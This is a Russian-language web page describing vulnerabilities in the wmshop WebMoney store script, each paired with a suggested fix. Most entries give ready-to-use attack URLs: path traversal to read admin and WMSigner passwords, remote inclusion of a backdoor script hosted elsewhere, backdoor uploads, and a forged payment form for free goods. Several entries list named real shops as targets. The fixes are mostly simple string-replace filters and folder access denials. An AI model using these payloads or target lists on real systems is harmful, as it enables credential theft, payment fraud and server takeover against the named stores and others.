Взлом и защита магазинов типа wmshop Описание уязвимостей с реальными примерами и рекомендациями по их устранению. Эта информация предназначена владельцам магазинов для защиты магазина от взломщиков. Получаем пароль админа (версии 1.* - 2.*).http://адрес_магазина/buy.php?tovid=../users/admin пароль админа в строке Продавец: http://адрес_магазина/buy.phtml?tovid=../users/admin пароль админа в строке Продавец: Реальные примеры: http://snoopy.irk.ru/buy.phtml?tovid=../users/admin Устранение уязвимости: в файлы buy.php, buy_r.php или buy.phtml добавить строчки: <? $tovid = str_replace('..',"", $tovid); $tovid = str_replace('.',"", $tovid); $tovid = str_replace('/',"", $tovid); ?> -------------------------------------------------------------------------------- Получаем пароль от кипера (версии 1.* - 2.*). Вернутся к оглавлению http://адрес_магазина/seller.php?name=../WMSigner.ini пароль от wmid в строке Организация: http://адрес_магазина/seller.phtml?name=../WMSigner.ini пароль от wmid в строке Организация: Реальные примеры: http://snoopy.irk.ru/seller.phtml?name=../WMSigner.ini Устранение уязвимости: в файлы seller.php, seller.phtml добавить строчки: <? $name = str_replace('..',"", $name); $name = str_replace('.',"", $name); $name = str_replace('/',"", $name); ?> -------------------------------------------------------------------------------- Подмена $fil (получаем пароль админа) (версии 1.* - 2.*). Вернутся к оглавлению купив дешёвый товар открываем html код странички, где написанно "Скачка будет через 3 секунды" меняем getting.php?fil=files/1001.0&filname=test.txt&crc=5e8bd03ff47ff9ac63cbd9284e2a0bea-1030 на getting.php?fil=users/admin&filname=test.txt&crc=5e8bd03ff47ff9ac63cbd9284e2a0bea-1030 и скачиваем пароль админа Устранение уязвимости: в файл getting.php вставить: $fil = str_replace('..',"", $fil); $fil = str_replace('users/',"", $fil); -------------------------------------------------------------------------------- Закачка бекдора (все версии). Вернутся к оглавлению зарегистрировавшись продавцом вы можете закачать php скрипт и купить его у себя если нет защиты он запустится на сервере (в папке /door/ 2 бекдора для тестирования). Реальные примеры: http://syper-pypershop.com.ru/temp/tree.php http://syper-pypershop.com.ru/temp/nfm.php -------------------------------------------------------------------------------- Запуск бекдора без закачки (все версии). набрав адрес http://адрес_магазина/tx/main.php?page=адрес_вредоносного_скрипта.txt вам возможно удастся его запустить на сервере. Реальные примеры: http://syper-pypershop.com.ru/tx/main.php?page=http://manualshop.by.ru/tree.php.txt http://transmitter.com.ru/tx/main.php?page=http://manualshop.by.ru/tree.php.txt Устранение уязвимости: в файл main.php добавить: <? $page = str_replace('..',"", $page); $page = str_replace('://',"", $page); ?> в папке /tx/ создать .htaccess с таким текстом: Deny from all -------------------------------------------------------------------------------- Встроеные бекдоры (wmsp). Вернутся к оглавлению Если вы скачали или купили магазин в виде файла wmsp.rar знайте там минимум 2 бекдора http://адрес_магазина/tovar.php http://адрес_магазина/history/history.php Устранение уязвимости: Сотрите файлы tovar.php и /history/history.php -------------------------------------------------------------------------------- Дешифровка md5 (все версии). Вернутся к оглавлению Сейчас появилось много програм для дешифровки md5, конечно дешифровать md5 долго, но зная часть пароля значительно проще (усложним жизнь взломщикам) Устранение уязвимости: в /tx/buy.php заменить $crc=md5($ar[9]."adminadmin".$ftxt); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt); в getfile.php заменить $crc=md5($ar[9]."adminadmin".$ftxt); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt); в getting.php заменить $tovidcrc=md5($filname."adminadmin".$fil); на $crc=md5($ar[9].$serv_const_forum_pass.$ftxt); в success2.php заменить $dsc1=md5("$shopcnt:ugla87m"); на $dsc1=md5("$shopcnt:$serv_const_forum_pass"); в my_stat.php заменить $dsc=md5("$shopcnt:ugla87m"); на $dsc=md5("$shopcnt:$serv_const_forum_pass"); в buy_r_pay.php заменить ("$tovid:$serv_const_shopwmz:$ftov[1]:ugla87m") на ("$tovid:$serv_const_shopwmz:$ftov[1]:$serv_const_forum_pass") в success.php заменить ("$tovid:$serv_const_shopwmz:chesisbox") на ("$tovid:$serv_const_forum_pass:chesisbox") в buy_r_result.php заменить $rc = md5("$fcn_pos:macadam"); на $rc = md5("$fcn_pos:$serv_const_forum_pass"); в buy_r_success2.php заменить $rc = md5("$fcn_pos:macadam"); на $rc = md5("$fcn_pos:$serv_const_forum_pass"); -------------------------------------------------------------------------------- Уязвимость папки /users/ (все версии). Вернутся к оглавлению набрав адрес http://адрес_магазина/users/admin можно увидеть пароль администратора в верхней строчке Реальные примеры: http://magazin.rugold.com/users/admin http://symma.dax.ru/users/admin Устранение уязвимости: в папке /users/ создать .htaccess с таким текстом: Deny from all -------------------------------------------------------------------------------- Уязвимость папки /files/ (все версии). Вернутся к оглавлению набрав адрес http://адрес_магазина/files/номер_товара.0 возможно вам удастся его скачать. Реальные примеры: http://shop.tula.ru/files/1019.0 http://syper-pypershop.com.ru/files/1048.0 Устранение уязвимости: в папке /files/ создать .htaccess с таким текстом: Deny from all -------------------------------------------------------------------------------- Уязвимость папки /mail/ (все версии). Вернутся к оглавлению набрав адрес http://адрес_магазина/mail/admin возможно вам удастся прочитать письма адресованные админу. Реальные примеры: http://symma.dax.ru/mail/admin http://magazin.rugold.com/mail/admin Устранение уязвимости: в папке /mail/ создать .htaccess с таким текстом: Deny from all -------------------------------------------------------------------------------- Уязвимость папки /history/ (все версии). Вернутся к оглавлению набрав адрес http://адрес_магазина/history/admin возможно вам удастся узнать сколько заработал админ. Реальные примеры: http://symma.dax.ru/history/admin http://magazin.rugold.com/history/admin Устранение уязвимости: в папке /history/ создать .htaccess с таким текстом: Deny from all -------------------------------------------------------------------------------- Уязвимость папки /temp/ (все версии). Вернутся к оглавлению набрав адрес http://адрес_магазина/temp/ можете скачать купленные другими людьми товары. Реальные примеры: http://syper-pypershop.com.ru/temp/ Устранение уязвимости: в папке /temp/ создать пустой файл index.php -------------------------------------------------------------------------------- Уязвимость папки /tx/ (получаем пароль админа) (все версии). Вернутся к оглавлению набрав адрес http://адрес_магазина/tx/main.php?page=../users/admin узнаете пароль админа Реальные примеры: http://syper-pypershop.com.ru/tx/main.php?page=../users/admin http://transmitter.com.ru/tx/main.php?page=../users/admin Устранение уязвимости: в файл main.php добавить: <? $page = str_replace('..',"", $page); $page = str_replace('://',"", $page); ?> в папке /tx/ создать .htaccess с таким текстом: Deny from all -------------------------------------------------------------------------------- Магазины с оплатой через ROBOX. информацию предоставил Deadman_n Вернутся к оглавлению создаётся страничка с таким кодом: <form action='http://адрес_магазина/success.php?G=0'> <input name='wmid' value='хакер'> <input name='pci_wmtid' value='хакер'> <input name='pci_pursedest' value='кошелёк_магазина'> <input name='pci_pursesrc' value='z111111111111'> <input name='pci_amount' value='цена_товара'> <input name='pci_desc' value='служебные_отметки(берём из html кода страницы с описанием товара)'> <input name='pci_datecrt' value='20040418 21:57:03'> <input name='pci_marker' value=''> <input name='pci_mode' value=''> <input ID=button TYPE=submit VALUE="Хакаем и получаем!"> Выглядит это так: Реальные примеры: пока непробовал, но уверен что должно получится. Устранение уязвимости: перейти на новую версию скрипта (версия 3.5 или выше, купить можно тут) -------------------------------------------------------------------------------- Доступность .inc файлов (все версии). Вернутся к оглавлению Получив доступ к файлам shopcounts.inc, shopcounts1.inc и shopcounts2.inc можно получить товары бесплатно. Реальные примеры: http://payon.h12.ru/shopcounts.inc Устранение уязвимости: добавить в .htaccess в корневой папке такой текст: <Files ~ "\\.inc"> Order allow,deny Deny from all </Files> -------------------------------------------------------------------------------- (c) wmshop.com.ru За применение информации не по назначению автор ответственности не несёт